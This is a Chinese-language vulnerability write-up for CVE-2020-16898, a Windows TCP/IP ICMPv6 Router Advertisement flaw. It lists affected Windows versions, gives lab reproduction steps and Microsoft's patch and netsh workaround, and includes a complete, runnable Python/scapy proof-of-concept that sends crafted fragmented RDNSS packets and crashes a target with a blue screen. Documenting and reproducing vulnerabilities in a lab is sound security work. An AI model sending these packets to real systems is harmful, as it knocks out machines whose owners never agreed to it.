1.漏洞编号
CNNVD编号:CNNVD-202010-528
CVE编号:CVE-2020-16898
2.漏洞描述:
Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。
3.影响版本
Microsoft Windows 10 1709版本
Windows 10 1803版本
Windows 10 1809版本
Windows 10 1903版本
Windows 10 1909版本
Windows 10 2004版本
Windows Server 2019版本
Windows Server 1903版本
Windows Server 1909版本
Windows Server 2004版本
4.POC脚本
#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
v6_dst = "fd15:4ba5:5a2b:1008:79f7:5f20:fe8:2995"
v6_src = "fe80::559e:21a8:dc54:bf1b%12"
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA();
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
5.漏洞复现
PS:攻击机器和受害机器能正常进行IPv6通信,需开启IPv6入站规则
1)网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持
2)在vmware中搭建受影响的Win10 1909 32位系统
3)ipconfig命令,受害机器选择IPv6地址
4)攻击机器选择本地链接的IPv6地址
5)执行poc脚本,受害机器成功被打蓝屏
6.修复建议
Microsoft官方公告信息给出详细修复建议,如下:
应用Microsoft官方公告中的补丁:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-16898
Microsoft官方提供的临时修复措施:
禁用ICMPv6 RDNSS。
使用以下PowerShell命令禁用ICMPv6 RDNSS,以阻止攻击者利用漏洞。此解决方法仅适用于Windows 1709及更高版本。
netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable
注意:进行更改后,无需重启。
使用下面的PowerShell命令禁用该解决方法。
netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=enable
注意:禁用后,无需重启。